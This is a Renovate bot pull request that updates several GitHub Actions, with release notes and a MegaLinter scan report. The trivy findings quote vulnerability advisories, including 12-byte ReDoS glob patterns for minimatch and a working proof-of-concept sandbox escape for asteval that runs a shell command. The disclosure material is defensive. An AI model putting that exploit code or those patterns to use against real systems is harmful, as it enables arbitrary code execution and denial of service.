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This PR contains the following updates:

Package Type Update Change
aquasecurity/trivy-action action minor 0.33.10.34.2
chgl/.github action patch v1.11.13v1.11.14
github/codeql-action action patch v4.32.0v4.32.5
imjasonh/setup-crane action minor v0.4v0.5
lycheeverse/lychee-action action minor v2.7.0v2.8.0

Release Notes

aquasecurity/trivy-action (aquasecurity/trivy-action)

v0.34.2

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New Contributors

Full Changelog: aquasecurity/trivy-action@0.34.1...0.34.2

v0.34.1

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Full Changelog: aquasecurity/trivy-action@0.34.0...0.34.1

v0.34.0

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Full Changelog: aquasecurity/trivy-action@0.33.1...0.34.0

chgl/.github (chgl/.github)

v1.11.14

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Miscellaneous Chores
github/codeql-action (github/codeql-action)

v4.32.5

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v4.32.4

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  • Update default CodeQL bundle version to 2.24.2. #​3493
  • Added an experimental change which improves how certificates are generated for the authentication proxy that is used by the CodeQL Action in Default Setup when private package registries are configured. This is expected to generate more widely compatible certificates and should have no impact on analyses which are working correctly already. We expect to roll this change out to everyone in February. #​3473
  • When the CodeQL Action is run with debugging enabled in Default Setup and private package registries are configured, the "Setup proxy for registries" step will output additional diagnostic information that can be used for troubleshooting. #​3486
  • Added a setting which allows the CodeQL Action to enable network debugging for Java programs. This will help GitHub staff support customers with troubleshooting issues in GitHub-managed CodeQL workflows, such as Default Setup. This setting can only be enabled by GitHub staff. #​3485
  • Added a setting which enables GitHub-managed workflows, such as Default Setup, to use a nightly CodeQL CLI release instead of the latest, stable release that is used by default. This will help GitHub staff support customers whose analyses for a given repository or organization require early access to a change in an upcoming CodeQL CLI release. This setting can only be enabled by GitHub staff. #​3484

v4.32.3

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  • Added experimental support for testing connections to private package registries. This feature is not currently enabled for any analysis. In the future, it may be enabled by default for Default Setup. #​3466

v4.32.2

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v4.32.1

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  • A warning is now shown in Default Setup workflow logs if a private package registry is configured using a GitHub Personal Access Token (PAT), but no username is configured. #​3422
  • Fixed a bug which caused the CodeQL Action to fail when repository properties cannot successfully be retrieved. #​3421
imjasonh/setup-crane (imjasonh/setup-crane)

v0.5

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New Contributors

Full Changelog: imjasonh/setup-crane@v0.4...v0.5

lycheeverse/lychee-action (lycheeverse/lychee-action)

v2.8.0

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What's Changed

New Contributors

Full Changelog: lycheeverse/lychee-action@v2.7.0...v2.8.0


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@renovate renovate bot requested a review from chgl as a code owner March 1, 2026 01:52
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⚠️MegaLinter analysis: Success with warnings

Descriptor Linter Files Fixed Errors Warnings Elapsed time
✅ ACTION actionlint 4 0 0 0.05s
✅ BASH bash-exec 4 0 0 0.02s
✅ BASH shellcheck 4 0 0 0.14s
✅ BASH shfmt 4 0 0 0.01s
✅ DOCKERFILE hadolint 1 0 0 1.35s
✅ EDITORCONFIG editorconfig-checker 50 0 0 0.04s
✅ JSON jsonlint 4 0 0 0.18s
✅ JSON npm-package-json-lint yes no no 0.55s
✅ JSON prettier 4 0 0 0.6s
✅ JSON v8r 4 0 0 7.86s
⚠️ MARKDOWN markdownlint 5 9 0 0.79s
✅ REPOSITORY checkov yes no no 39.58s
✅ REPOSITORY devskim yes no no 2.03s
✅ REPOSITORY gitleaks yes no no 0.68s
✅ REPOSITORY git_diff yes no no 0.02s
⚠️ REPOSITORY grype yes 8 1 45.42s
✅ REPOSITORY kics yes no no 12.67s
✅ REPOSITORY secretlint yes no no 2.04s
✅ REPOSITORY syft yes no no 3.76s
⚠️ REPOSITORY trivy yes 8 2 14.21s
✅ REPOSITORY trivy-sbom yes no no 0.93s
✅ REPOSITORY trufflehog yes no no 4.35s

Detailed Issues

⚠️ REPOSITORY / grype - 8 errors
error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

error: A high vulnerability in npm package: minimatch, version 10.1.1 was found at: /package-lock.json

error: A high vulnerability in npm package: minimatch, version 10.1.1 was found at: /package-lock.json

error: A high vulnerability in npm package: minimatch, version 10.1.1 was found at: /package-lock.json

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

warning: A medium vulnerability in python package: urllib3, version 1.26.20 was found at: /requirements.txt

error: A high vulnerability in python package: asteval, version 1.0.5 was found at: /requirements.txt

warning: 1 warnings emitted
error: 8 errors emitted
⚠️ MARKDOWN / markdownlint - 9 errors
samples/charts/sample/README.md:5:9 MD026/no-trailing-punctuation Trailing punctuation in heading [Punctuation: ';']
samples/charts/sample/README.md:8:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo add chgl https://c..."]
samples/charts/sample/README.md:9:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm repo update"]
samples/charts/sample/README.md:10:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm search repo chgl/sample..."]
samples/charts/sample/README.md:11:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:28:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:40:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm uninstall sample -n sam..."]
samples/charts/sample/README.md:90:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
samples/charts/sample/README.md:97:1 MD014/commands-show-output Dollar signs used before commands without showing output [Context: "$ helm upgrade -i sample chgl/..."]
⚠️ REPOSITORY / trivy - 8 errors
error: Package: minimatch
Installed Version: 10.1.1
Vulnerability CVE-2026-26996
Severity: HIGH
Fixed Version: 10.2.1, 9.0.6, 8.0.5, 7.4.7, 6.2.1, 5.1.7, 4.2.4, 3.1.3
Link: [CVE-2026-26996](https://avd.aquasec.com/nvd/cve-2026-26996)
    ┌─ package-lock.json:922:1
    │  
922 │ ╭     "node_modules/minimatch": {
923 │ │       "version": "10.1.1",
924 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.1.tgz",
925 │ │       "integrity": "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==",
    · │
935 │ │       }
936 │ │     },
    │ ╰^
    │  
    = minimatch: minimatch: Denial of Service via specially crafted glob patterns
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Versions 10.2.0 and below are vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive * wildcards followed by a literal character that doesn't appear in the test string. Each * compiles to a separate [^/]*? regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of * characters. With N=15, a single minimatch() call takes ~2 seconds. With N=34, it hangs effectively forever. Any application that passes user-controlled strings to minimatch() as the pattern argument is vulnerable to DoS. This issue has been fixed in version 10.2.1.

error: Package: minimatch
Installed Version: 10.1.1
Vulnerability CVE-2026-27903
Severity: HIGH
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.3
Link: [CVE-2026-27903](https://avd.aquasec.com/nvd/cve-2026-27903)
    ┌─ package-lock.json:922:1
    │  
922 │ ╭     "node_modules/minimatch": {
923 │ │       "version": "10.1.1",
924 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.1.tgz",
925 │ │       "integrity": "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==",
    · │
935 │ │       }
936 │ │     },
    │ ╰^
    │  
    = minimatch: minimatch: Denial of Service due to unbounded recursive backtracking via crafted glob patterns
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, `matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.

error: Package: minimatch
Installed Version: 10.1.1
Vulnerability CVE-2026-27904
Severity: HIGH
Fixed Version: 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, 3.1.4
Link: [CVE-2026-27904](https://avd.aquasec.com/nvd/cve-2026-27904)
    ┌─ package-lock.json:922:1
    │  
922 │ ╭     "node_modules/minimatch": {
923 │ │       "version": "10.1.1",
924 │ │       "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-10.1.1.tgz",
925 │ │       "integrity": "sha512-enIvLvRAFZYXJzkCYG5RKmPfrFArdLv+R+lbQ53BmIMLIry74bjKzX6iHAm8WYamJkhSSEabrWN5D97XnKObjQ==",
    · │
935 │ │       }
936 │ │     },
    │ ╰^
    │  
    = minimatch: Minimatch: Denial of Service via catastrophic backtracking in glob expressions
    = minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.

error: Package: asteval
Installed Version: 1.0.5
Vulnerability CVE-2025-24359
Severity: HIGH
Fixed Version: 1.0.6
Link: [CVE-2025-24359](https://avd.aquasec.com/nvd/cve-2025-24359)
    ┌─ requirements.txt:149:1
    │
149 │ asteval==1.0.5 \
    │ ^
    │
    = ASTEVAL is an evaluator of Python expressions and statements. Prior to ...
    = ASTEVAL is an evaluator of Python expressions and statements. Prior to version 1.0.6, if an attacker can control the input to the `asteval` library, they can bypass asteval's restrictions and execute arbitrary Python code in the context of the application using the library. The vulnerability is rooted in how `asteval` performs handling of `FormattedValue` AST nodes. In particular, the `on_formattedvalue` value uses the dangerous format method of the str class. The code allows an attacker to manipulate the value of the string used in the dangerous call `fmt.format(__fstring__=val)`. This vulnerability can be exploited to access protected attributes by intentionally triggering an `AttributeError` exception. The attacker can then catch the exception and use its `obj` attribute to gain arbitrary access to sensitive or protected object properties. Version 1.0.6 fixes this issue.

error: Package: asteval
Installed Version: 1.0.5
Vulnerability GHSA-vp47-9734-prjw
Severity: HIGH
Fixed Version: 1.0.6
Link: [GHSA-vp47-9734-prjw](https://github.com/advisories/GHSA-vp47-9734-prjw)
    ┌─ requirements.txt:149:1
    │
149 │ asteval==1.0.5 \
    │ ^
    │
    = ASTEVAL Allows Malicious Tampering of Exposed AST Nodes Leads to Sandbox Escape
    = ### Summary
      If an attacker can control the input to the asteval library, they can bypass its safety restrictions and execute arbitrary Python code within the application's context.
      
      ### Details
      The vulnerability is rooted in how `asteval` performs attribute access verification. In particular, the [`on_attribute`](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L565) node handler prevents access to attributes that are either present in the `UNSAFE_ATTRS` list or are formed by names starting and ending with `__`, as shown in the code snippet below:
      
      ```py
          def on_attribute(self, node):    # ('value', 'attr', 'ctx')
              """Extract attribute."""
      
              ctx = node.ctx.__class__
              if ctx == ast.Store:
                  msg = "attribute for storage: shouldn't be here!"
                  self.raise_exception(node, exc=RuntimeError, msg=msg)
      
              sym = self.run(node.value)
              if ctx == ast.Del:
                  return delattr(sym, node.attr)
              #
              unsafe = (node.attr in UNSAFE_ATTRS or
                       (node.attr.startswith('__') and node.attr.endswith('__')))
              if not unsafe:
                  for dtype, attrlist in UNSAFE_ATTRS_DTYPES.items():
                      unsafe = isinstance(sym, dtype) and node.attr in attrlist
                      if unsafe:
                          break
              if unsafe:
                  msg = f"no safe attribute '{node.attr}' for {repr(sym)}"
                  self.raise_exception(node, exc=AttributeError, msg=msg)
              else:
                  try:
                      return getattr(sym, node.attr)
                  except AttributeError:
                      pass
      ```
      
      While this check is intended to block access to sensitive Python dunder methods (such as `__getattribute__`), the flaw arises because instances of the `Procedure` class expose their AST (stored in the `body` attribute) without proper protection:
      
      ```py
      class Procedure:
          """Procedure: user-defined function for asteval.
      
          This stores the parsed ast nodes as from the 'functiondef' ast node
          for later evaluation.
      
          """
      
          def __init__(self, name, interp, doc=None, lineno=0,
                       body=None, args=None, kwargs=None,
                       vararg=None, varkws=None):
              """TODO: docstring in public method."""
              self.__ininit__ = True
              self.name = name
              self.__name__ = self.name
              self.__asteval__ = interp
              self.raise_exc = self.__asteval__.raise_exception
              self.__doc__ = doc
              self.body = body
              self.argnames = args
              self.kwargs = kwargs
              self.vararg = vararg
              self.varkws = varkws
              self.lineno = lineno
              self.__ininit__ = False
      ```
      
      Since the `body` attribute is not protected by a naming convention that would restrict its modification, an attacker can modify the AST of a `Procedure` during runtime to leverage unintended behaviour.
      
      The exploit works as follows:
      
      1. **The Time of Check, Time of Use (TOCTOU) Gadget:**
      
         In the [code](https://github.com/lmfit/asteval/blob/8d7326df8015cf6a57506b1c2c167a1c3763e090/asteval/asteval.py#L577) below, a variable named `unsafe` is set based on whether `node.attr` is considered unsafe:
      
         ```python
         unsafe = (node.attr in UNSAFE_ATTRS or
                   (node.attr.startswith('__') and node.attr.endswith('__')))
         ```
      
      2. **Exploiting the TOCTOU Gadget:**
      
         An attacker can abuse this gadget by hooking any `Attribute` AST node that is not in the `UNSAFE_ATTRS` list. The attacker modifies the `node.attr.startswith` function so that it points to a custom procedure. This custom procedure performs the following steps:
         
         - It replaces the value of `node.attr` with the string `"__getattribute__"` and returns `False`.
         - Thus, when `node.attr.startswith('__')` is evaluated, it returns `False`, which causes the condition to short-circuit and sets `unsafe` to `False`.
         - However, by that time, `node.attr` has been changed to `"__getattribute__"`, which will be used in the subsequent `getattr(sym, node.attr)` call. An attacker can then use the obtained reference to `sym.__getattr__`to retrieve malicious attributes without needing to pass the `on_attribute` checks.
      
      ### PoC
      The following proof-of-concept (PoC) demonstrates how this vulnerability can be exploited to execute the `whoami` command on the host machine:
      
      ```py
      from asteval import Interpreter
      aeval = Interpreter()
      code = """
      ga_str = "__getattribute__"
      def lender():
          a
          b
      def pwn():
          ga = lender.dontcare
          init = ga("__init__")
          ga = init.dontcare
          globals = ga("__globals__")
          builtins = globals["__builtins__"]
          importer = builtins["__import__"]
          importer("os").system("whoami")
      
      def startswith1(str):
          # Replace the attr on the targeted AST node with "__getattribute__"
          pwn.body[0].value.attr = ga_str
          return False    
      
      def startswith2(str):
          pwn.body[2].value.attr = ga_str
          return False    
      
      n1 = lender.body[0]
      n1.startswith = startswith1
      pwn.body[0].value.attr = n1
      
      n2 = lender.body[1]
      n2.startswith = startswith2
      pwn.body[2].value.attr = n2
      
      pwn()
      """
      aeval(code)
      ```

error: Package: urllib3
Installed Version: 1.26.20
Vulnerability CVE-2025-66418
Severity: HIGH
Fixed Version: 2.6.0
Link: [CVE-2025-66418](https://avd.aquasec.com/nvd/cve-2025-66418)
     ┌─ requirements.txt:1700:1
     │
1700 │ urllib3==1.26.20 \
     │ ^
     │
     = urllib3: urllib3: Unbounded decompression chain leads to resource exhaustion
     = urllib3 is a user-friendly HTTP client library for Python. Starting in version 1.24 and prior to 2.6.0, the number of links in the decompression chain was unbounded allowing a malicious server to insert a 

(Truncated to 13333 characters out of 18094)

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@renovate renovate bot force-pushed the renovate/github-actions branch from 58f4fc7 to 1ae3ea7 Compare March 1, 2026 10:07
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